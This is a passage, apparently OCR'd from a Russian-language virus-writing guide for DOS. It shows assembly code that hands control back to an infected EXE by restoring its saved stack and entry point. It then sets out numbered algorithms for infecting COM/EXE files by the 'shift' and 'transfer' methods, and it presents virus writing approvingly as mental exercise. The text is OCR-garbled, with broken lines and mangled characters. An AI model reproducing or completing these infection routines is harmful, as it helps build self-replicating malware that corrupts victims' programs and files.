-.Установим
первоначальный указатель (сегмент и
смещение) стека
mov
ax.ds
-.Прибавим
ООЮп, после чего в АХ будет
;находится
сегмент, с которого
;загружен
программный модуль
add
ax,10h
Прибавим первоначальный сегмент стека
db
@add_ax ;код ADD AX, дальше по аналогии
OldSS
dw ? ;это значение было установлено
;при
заражении
;3апретим
прерывания, так как со стеком нельзя
работать,
;пока
и сегмент, и смещение не установлены в
нужное значение
cli
-.Установим
сегмент стека (PSP+Wh+OldSS)
mov
ss.ax
:Установим первоначальный указатель (смещение) стека
db
@mov_sp
OldSP
dw ?
;
Разрешим прерывания - опасный участок
пройден
sti
[Подготовим
значения в стеке для команды
IRET
RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db
@add_ax
OldCS
dw ?
;Сохраним
в стеке полученное значение
(PSP+Wh+OldCS)
push
ax
;Сохраним в стеке смещение исходной точки входа
db
@mov_ax
OldIP
dw ?
push ax
.Запустим
программу. В стеке находятся смещение
;точки
входа, сегмент точки входа и флаги
iret
Внедрение способом сдвига
Инфицируемая
программа размещается в файле после
кода вируса,
сдвигаясь
на его длину, отсюда и название метода.
Алгоритм работы
вируса
следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4.
Найти файл-жертву (для данного типа
вирусов лучше СОМ-файл,
но
можно и не слишком большой ЕХЕ - это
связано с тем, что все
тело
инфицируемой программы считывается в
память и ее может не
хватить,
если эта программа слишком большая).
5. Открыть файл-жертву.
6.
Проверить файл на повторное заражение
(здесь могут быть вариан-
ты,
но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10.
Дописать в файл после тела вируса тело
программы из буфера.
Длина
программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13.
Считать в буфер тело инфицированной
программы, расположенное
в
файле после тела вируса.
14.
Создать на диске временный файл с
расширением СОМ или ЕХЕ
(в
зависимости от того, какой тип программ
заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17.
Процедурой Ехес запустить созданный
файл на исполнение -
выполнится
инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы
- это хорошая гимнастика для ума, хотя
многие думают, что
написать
вирус на языке высокого уровня весьма
трудно. Это не совсем
так.
Писать на языке Pascal довольно легко,
правда величина получен-
ного
кода вызывает благоговейный трепет.
Внедрение способом переноса
Вирусы
данного типа размножаются следующим
образом. Из инфициру-
емой
программы от начала файла считывается
часть кода, по длине рав-
ная
длине вируса. На освободившееся место
вписывается вирус,
а
оригинальное начало программы переносится
в конец файла. Отсюда
и
название метода - "метод переноса".
Есть и другие варианты. Иногда,
например,
начало программы записывается в середину
файла, а середина
переносится
в конец, чтобы еще сильнее все запутать.
Превосходство дан-
ного
метода над другими описанными в том,
что инфицированная про-
грамма
исполняется в том же виде, в каком она
была до заражения,
из
файла с тем же именем и расширением. То
есть программы, проверя-
ющие
себя на предмет заражения вирусом, его
не замечают. Корректно
исполняются
и такие программы, которые ищут свои
файлы конфигура-
ции
с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток
данного метода проявляется при сбоях
в работе компьюте-
ра.
Если при исполнении инфицированной
программы компьютер
"повиснет"
или произойдет перезагрузка системы,
инфицированная
программа
окажется "чистой", то есть без
вируса. Но, во-первых, "кто
не
рискует, тот не пьет шампанского", а
во-вторых, программы виснут
редко.
Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6.
Проверить файл на повторное заражение
(здесь могут быть вариан-
ты,
но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8.
Считать в буфер из начала найденного
файла фрагмент программы,
по
длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10.
Дописать в конец файла считанное начало
программы из буфера.
Длина
программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13.
Считать в буфер начало инфицированной
программы, расположен-
ное
в конце файла.
14.
Записать считанное начало программы
поверх кода вируса в начало
файла.
15.
Сократить файл до его оригинальной
длины (то есть удалить часть
кода,
по длине равную длине тела вируса, в
конце файла).
16. Закрыть файл.
17.
Процедурой Ехес запустить стартовый
файл (ParamStr(O)) на ис-
полнение
- выполнится инфицированная программа.
18.
После завершения работы программы опять
открыть стартовый
файл.
19.
Записать в начало файла тело вируса, а
оригинальное начало про-
граммы
опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.